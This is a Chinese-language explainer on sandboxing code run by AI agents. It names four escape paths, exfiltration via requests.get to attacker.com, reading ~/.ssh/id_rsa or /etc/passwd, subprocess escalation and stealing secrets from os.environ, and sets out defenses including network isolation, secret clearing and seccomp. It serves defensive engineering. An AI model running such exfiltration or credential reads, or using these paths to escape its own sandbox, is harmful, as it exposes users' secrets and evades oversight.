AI 安全与攻防 · 第 3 期

沙箱逃逸 · Agent 写的代码跑不出去

sandbox escape · 容器隔离 · 网络隔离

Agent 跑代码不隔离,等于把服务器钥匙交出去。沙箱逃逸走三条路——网络外联、文件系统越界、子进程提权,外加一条"环境变量窃取"。光套个容器不够,还要断网 + 清 secrets + 限系统调用,缺一项都漏。
⏱ 约 9 分钟 🎯 让 Agent 跑代码的工程师 📦 源:Code Interpreter 沙箱设计

01反共识:容器不是沙箱,只是沙箱的一层

很多人觉得"用 Docker 跑 Agent 代码就安全了"。容器只隔离了文件系统和进程命名空间,没断网、没清 secrets、没限系统调用——这三项漏一个,逃逸就成。

真实逃逸案例几乎都走这三条路:代码里 requests.get('http://attacker.com') 偷偷外传数据;代码读 ~/.ssh/id_rsa 或 /etc/passwd 越界拿凭证;代码 subprocess 调系统命令绕过 Python 限制。容器对前两条默认不拦——它默认有网、默认能读 home。

所以沙箱不是"套个容器",是"容器 + 网络隔离 + secrets 清理 + 系统调用过滤"的组合拳。下面演示会把每条逃逸路径演给你看。

容器只是沙箱的一层,
断网清密才是真沙箱。
灏天文库 · AI 安全与攻防 P.07

02逃逸路径演示:四条路能跑出去几条

下面是四条经典逃逸路径。选一条,切沙箱档,点"执行代码",看它跑不跑得出去。

📦 沙箱逃逸路径演示
选逃逸手法 → 选沙箱档 → 执行,看代码是否逃出沙箱。
① 选逃逸路径
② 选沙箱档
执行结果— 待执行 —
点上方按钮,看代码跑不跑得出去。
← 选好路径和沙箱档,再执行

03真沙箱四件套:容器 + 断网 + 清密 + 限调用

演示里"容器+断网+清secrets"档能拦住全部,因为它把四件事都做了——任何一件漏了都漏:

  1. 容器隔离:用容器或微 VM 把文件系统和进程命名空间隔开,代码只能看见自己的工作目录。拦住"读 /etc/passwd"这类越界。
  2. 网络隔离:默认拒绝所有出站连接,要联网的工具显式白名单。拦住"requests.get 偷偷外传"。
  3. secrets 清理:执行前清空环境变量里的 token、API key、云凭证。拦住"os.environ 偷钥匙"。
  4. 系统调用过滤:用 seccomp 限制可用系统调用,禁掉 fork/exec/chmod 这类危险调用。拦住"subprocess 提权"。

关键认知:这四件是正交的——容器管文件系统、网络管出站、secrets 管凭证、seccomp 管系统调用,各管一摊。少做一件,那条路就开着。

沙箱四件套正交,
少一件就漏一条。
灏天文库 · AI 安全与攻防 P.08

04带走这套清单

✅ 沙箱配置 6 条

  1. 别只套容器:容器只是文件系统隔离,网络/secrets/系统调用都要单独管。
  2. 默认断网:出站连接默认拒绝,要联网的工具显式白名单。
  3. 执行前清 secrets:环境变量里的 token、key、凭证全清空。
  4. seccomp 限系统调用:禁掉 fork/exec/chmod 这类危险调用。
  5. 资源限额:CPU、内存、磁盘、执行时间都设上限,防资源耗尽。
  6. 每次执行用新沙箱:不复用,一个任务一个沙箱,跑完即销毁。
沙箱不是套容器,
是四件套。
灏天文库 · AI 安全与攻防 P.09